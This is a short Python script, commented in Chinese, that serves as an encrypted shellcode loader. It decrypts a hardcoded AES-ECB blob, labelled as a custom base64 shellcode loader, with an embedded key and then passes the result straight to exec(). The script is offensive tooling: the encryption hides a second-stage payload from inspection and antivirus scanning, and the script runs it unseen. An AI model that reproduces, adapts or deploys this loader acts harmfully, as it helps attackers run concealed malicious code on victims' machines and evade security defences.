from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import hashlib


# AES 解密
def aes_decode(encrypted_data: bytes, key: str ) -> bytes:
    key_bytes = hashlib.md5(key.encode()).digest()
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted


key = "Xw4V4c8v"

aes_loader_custom_base64_shellcode_loader=b'\xb6\x10\xa0\x8a\x17``\xaf"\xa6\xe05\x8d\x9bN/\x7fw\x0b\xbeW\xa5\x0b|\xcbIe\xef(\x08\xc0~#\x05y!P\xd2M\xb2\xccS\xe4\x06\xe0\x05\xd6\xc1\x10vk;8Y\x8bA\xb8\x80H\x1c\xe5C.\x8fID\xea?\x0e\x88\x81"XD\xb0\x91\x86?\x8a\xd8\xac\xeb\xb7\\@\xecm\xd9\x0c\xf7\xf4\x05,\\*\xe84\xdc|\xd6jS\xc2\xefV\x9c\xb3\x0e\x9e/\xc0\xad_|\x9f\xe7J\xa9\xb4\t\xd8ED\x01\x96Lnh\xbaO;\x9e\xd1g\x1c$\xb8\r({\xbfw\xd2S\xdf\xe1?+\xfa\x12\x9d{\xf0\\\x9b\x83\xbbk$\xcc\xed\xd1\x1f\x99:\x99\x97.\xf6\x18\x07\x8a}\xd3I\x05d\xb6\xbf\xa0\xbb\xc9W#{\x85\xa9?d\xa7U\nr8\xf0{8|\xf9g\xfeJ\x9e\x16\x1b\xb1I\']/[/\x88\x0ee\xc3\xa1\xc9wd\x11H\x80{#\xb7{\xd1\xe5\x05v\xd0N\xbd\x85j\x00\xc3&\xabR\xb5\xd24\xdd\x18u<$s\xe2F2\xb3\x1e\xbc\x89\x98\x8d\xcd\xb1\xf3UL\xed\xef1\xde\xcd\x85s\xec^\xe1\xa7\xcb\xd9\xf6\x93\x11\xdf\x92\xeeyT\xfe\x02\x961#\\s\xa9wx\xd9\xfa\xaav2\xd0\xee\xfc\x95+\x90\x0c\xf7U{/\x1e>w\'\xab\x95\xe4\xee\xa7\xb3\xea\xba\xbcQ8\xd3\x1c\x97\x89\x16\xfe\xe86j\xb8{g\xbe\xf7\x16\xcfx\xf3(\xe8\xbc&\x17d`"\xaeY1\x83\tw@q\xd8\xe6\xfam)\x0fIQ\x14^W\xbe)\x9d\xea\x8d^\xac\xff$P\xfb\xba\xc4sx\x81\xdc\x99\xa5C\x05\xa5\x85\x92\x8b\xf9\xda8U\x062W\xe2\x85\x12q\x04\xf8\x85\x01\xf7\\b\xfd~~5\xb3,\xf9\x7f9\xeb\x1e?O\x10\xa1\xbe\xdeP\x04\xcb\x1e\xa4\x19\xe2\xff\xccP\xfcb\xcb1\xfeMl[\x88\x7f*\xec`\x15\xd2\xa0\xc6\xf4;\xa4n?\x83K\x17\x7fF(X\x12%o\x973\xefNA\x7f"\x9c%+(\'\xedZ\xcfA\x1a@\xfb\xf5#\xf1\xbbf\xa8\xceYTcE@sP\xfc8\xd0\x84@\x92\xcbD*mxu\x1c \xfc7s>2\xce\x87<\x99\xeac\x0e\xb2\xa5X$\xa6\xf4\xfa\xf2\xf1\x11\x89\x85\x10\xbe\x94\xcc\x9a\xbc\x7f\xebx\x04U\xac\x8a\xdb=\xe3\xef\xf0\x03\xcf\xa7K\xc6\x16\x83\xaa\xaa\xebc\xed?>\xacG),\xb0~\xa6\xf2\x8d2/\xe2\n\x9a\x16\xf0\xdd\xf5\xe4;G\xe9=w?-\x13C\xc2\x90U\x1b\x1b@\xc9\x11d\x9a06\x97\x82\xd9\x8f\xe3\xaa\xd3\xc6\xd8!$\x90\xc2\xc7\x16\xd9\xf0\xd0\xc8\x97H\xb6\xd7\xfd\x9d\x88+\xe9\x07\xe4Zac\x1dz\xeb\xa6y\x98!B\x9e\x9ek\xeaU\xab\xec\xce\xb5\xcdx\xc6\xdcI\xf2:p\xc3J\x8e1\x06e\xf6\xeaJ\xaf\x87\xe2zg\xec\xbb\xc5\xd2A\x94\x052\xb6\xc1!\xf6\xc9\x97\xb5\xfd\xad\x95\xf8\xack\x1c\x00\xba\x9e\x1bSg\xe5wX\x9e\xed\xb55\xc7\'\x05\xd9X\xfa\xdevm\x1am\xde\xa1\xb8{\xf6\xca\xfd\x8b7x\x18\xc4\xb1\x88\xaa\x99\xf1\x98N@\xce\xe5\x8cy\xe1b\xdee\xf4\xb8Q\x01\xe5\xf3\xd6\xb8\xa0\xd7*\xf5T\x89\x00Vx\x95q\xdb\xc4\xca\x1dz\xb59\xf7]\xa2\xbd\xe2\x0cr\xe6cD_\xf1`\xa0*\xfe\x13_\xfe\xad\x10\xd2\x0e\xf0\x81O\xa5Og\xd3\x03\xb1\x92=\xc0\xe8b\x1e\xea\x7f\xe9p\x0f\x0b\xd1v\xa2\xe4\xc9\xae\x01\xe8C\xbf\x04A\xdd\xbd#Y|3\x9c\xefp\xcdc\xac\x97\xfd\x16\xcc\xdd_>\xc0\x12\t!\xdbL\xdf\xde\xc6\xa7~Q\xf9\xaa\xcbN\xa5\x93\xe8\x18+\x13\xb3>l\xdc\x8f1\xd7_\x885\xa0\xa5c\xfc\xc0\xd6\xb4\x96P\xe13\xeb\x0fE\xff\x92\x92#\xdb\xdel \x11\x86fS\xccW,1\x81c\xce\x0cf\x95\xcd66\xc9\xc9\xe2=\xc5\xd5\xa4\xa9\x94`\xdb\xd8O0@\xb7\x01\x89`\xb4\x96\xceM\xd1\x94\xa1\xb8c \xf3[\xedU!X\x0c\x8b\xe6\xf3o\x10\xb4\x1bQY\xac\xef\xc5"\x98\xa5\x17\xee\x11\xc8\xc4O\x0c\x0bh2\x1e\xd0\x9b\x89\xfa\x8f\xaakG(\xf9\x12k\xcc\x94\x97\xf4\xb0\xa5\x19\x90S\x19\xc5\xe9f\x08v\xc5\xa5\xae\xc4\xca\x0bR!<\xdb6a\x1e\xe1\x038\xd2\xe7\x80\x8f\xba\x88\x9e\xb8\x10#^\x97\xae\xd9\x81\xd6\x1dm7\xecx\xb7>\x0c\xc7+\xea\x99\xbd\xa3c\x14\x80\xf3\xdaT\x1e\xb7K\xbd\xac:\xd7\x1b\x17\xe3\xb0\x10\xe5D(%]y\x9b\xee\xcb\xa8p\r\xb3\x99Q\x9f\xa4l\xbeu\x89\xc9:\x0f\x03\xc2\xedi\xe4\x1a\xc7\xd1\xc2N\xe4\xcdfW\xe9\x83\xb9\x88\x9c\xa3\xd9;r\xb6\xc26\xf7\xf2\xdd_nD%\xadB\xb8\xe9#\x02\xfc\x9e\x7fi\\\xf9\x0c\xcc\x1a.\x9d\xd8\x07\xb2G\x8bo\xe1I\xf6-\x1d\xb7\xf5\xe7\x08%\xc6\xe1\x8f\xd7sg(\xc4;Eu5\xa6\xc8\x1c\xe7\xb8\xb51\n\x00\xf5O\xd2;\xc1 z(\x88o\xb64\xa5\x91\xa2\xb5\x10\x89\xb1\xdb)\x8c\xbce\xdc\xba\xfa\xc3\x1a\xaa\xfc\x00:\xe7G\xa9\xd1\x9cVu,Qg\x1f\xd4\x85\x8d\xb7\xc5u\xaan\xef\xc5Q\xe8\xc6\x05\xdd\x99D)\xa6\xf9\xdfk_\xc5g<\xd0\xbd\x82G\xdb\xa4\xf0:\xa17{.NQ\x00\xb7\xd5x)\x1e^Cw\xcc\x87G"\xeb\xf7o\xe1\xc2\xfd\nR\xf8^K\xcb\x8e\xfbs\xc6M\xcc\x1d_\xd4\xbaF\xae\xf1\xe9\xb3\xfd\xa8\'\xdf\x88\xf3:\xe4dqj;\xb1\x81\x8a\xb4\xe3\x00\xddH\x0e=W\xc1\x97\x98q\xe3\x80r\x89\x1e\xbf~\x0f\x88M1\x1c0\xc1\xc9\xa3\xa3\xafg\nH\x03\xfc\xe4D\x8a\x93\xf9\x02m\xae\xad\xf0x\n\rgJ\xc7?4&\x99k\xafQ\na\xee\x97\x80\xae\xaa\xac\x14\n \xd5\x17\x98\xb7\x91\xd0\xd3\xfc\x8f\xc1t]\xe5\x89\t~}\x1a\xc7y\x9d\xc1v4h\x82E\xbb\xb7\xf2\xee\x8d}\xea,\x8e\xba\x86\xd7\xa1\xfd\xa2\xe8}\x184\xb0\xc5\x0e\x9d\xaa8Q\xe9T\xb9\xd50\xab4C1\x7fD\xa4\xa8\xbf\xba0_\x8d\x86l0G\xfe\xc9\x96\xa8\xc3:\xc6u\xe1\xf7]B\x82m\x1b\xda\xa3\xd7\n\xd7\x1b\xbef\xb9:7\x94\xa7\x9f\xa6\x9fh;E\x04\xeb\xa6W\x85\x1f!\x8e\xf3\xe9\xdd.2\x0f{\x87&\x98\xf1\xa1\xba\xe8\xdes\x8fx\x1e+\x7f9w\xfb\xbcY\xe0\x8a}\xa2h\xe9v\xd4\xa4Q\x11\xce\xe4\x0f\x8a\xfa\x13\x9f\xb3\xa3\x16\xf8\x04\xf1\xd9\x84`\xf4pr\xaeV\xd1\x96\x90o*\xa4\xd0\xb0\xdeN\x1e\xe2\xfe5T2\xf4\xfb\x9fz\x12sS\xf2p_\xaa\x9f\xbejg\xe9n\xd2\xa6u\xd5\x1f\x04\xf6\xe7`\r\xf2\xf3\x953(\x82\xd7\x04\xfc\xf7\to\xf3e\x12\xe5\x04\xc5e@\xf6\x0cI\x97\xac\r\xee\xf1K\xb3\x8d\x18\xafM\n4\x1f\t\xcf&\xc1\xfc\x80\x19\xae\x18_M19G\xe6i\xeb9\x8f'



# 解密
print("[*] 解密 aes_loader_custom_base64_shellcode_loader...")
custom_base64_shellcode_loader = aes_decode(aes_loader_custom_base64_shellcode_loader, key)

# 执行
print("[*] 执行 custom_base64_shellcode_loader...")

exec(custom_base64_shellcode_loader)
